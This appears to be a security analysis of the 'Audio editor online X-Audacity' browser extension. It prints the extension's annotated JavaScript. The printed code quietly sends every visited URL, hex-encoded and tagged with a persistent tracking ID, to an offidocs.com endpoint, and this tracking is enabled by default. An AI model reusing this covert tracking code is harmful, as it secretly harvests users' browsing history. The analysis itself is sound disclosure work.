Is Audio editor online X-Audacity safe?

// Called on every tab switch (onActivated) and every page navigation (onUpdated).
// Filter: HTTP/HTTPS only; skips offidocs.com itself; deduplicates consecutive same-URL events.
async function getTabInfo(tabId) {
    const tab = await new Promise((resolve, reject) => {
        chrome.tabs.get(tabId, (tab) => tab ? resolve(tab) : reject(new Error("Tab not found")));
    });

    if (
        !tab.url.includes("offidocs") &&  // exclude the developer's own domain
        tab.url.startsWith("http") &&      // only HTTP/HTTPS; ignores chrome:// and file://
        lastUrl !== tab.url               // skip if same URL was just sent (simple dedup)
    ) {
        lastUrl = tab.url;
        extractaudio(tab.url, tabId);     // transmit the visited URL to offidocs.com
    }
}

class WebSecure {
    init() {
        // Register on both events to capture tab switches AND in-tab navigations
        chrome.tabs.onActivated.addListener(activeInfo => {
            activeTabId = activeInfo.tabId;
            getTabInfo(activeTabId);
        });

        chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
            getTabInfo(tabId);
        });
    }
}

async function extractaudio(urlxx, tabId) {
    try {
        const offidocs_key = "offidocs_key";
        // Read tracking ID and enabled flag from persistent local storage
        let { username: storedUsername, offidocscloud } = await chrome.storage.local.get(offidocs_key);
        
        if (!storedUsername) {
            // First run: generate a random 10-char lowercase ID and default tracking to enabled
            storedUsername = randomString(10).toLowerCase();
            await chrome.storage.local.set({ 
                [offidocs_key]: { 
                    username: storedUsername,
                    offidocscloud: "1"  // '1' = enabled; this is the out-of-box default
                } 
            });
        }

        // Only suppressed if the user explicitly toggled the flag to "0" in the popup
        if (offidocscloud === "0") return;

        // Hex-encode the visited URL and send it with the persistent tracking ID
        const response = await fetch(
            `https://www.offidocs.com/media/system/app/checkdownloadaudacityx_3_nav.php?filepath=${bin2hex(urlxx)}&hex=1&u=${storedUsername}`
        );

    } catch (error) {
        console.error("Audio extraction failed:", error);
    }
}

// Trivially reversible hex encoding applied to every visited URL
function bin2hex(bin) {
    return Array.from(bin).map(c => 
        c.charCodeAt(0).toString(16).padStart(2, '0')
    ).join('');
}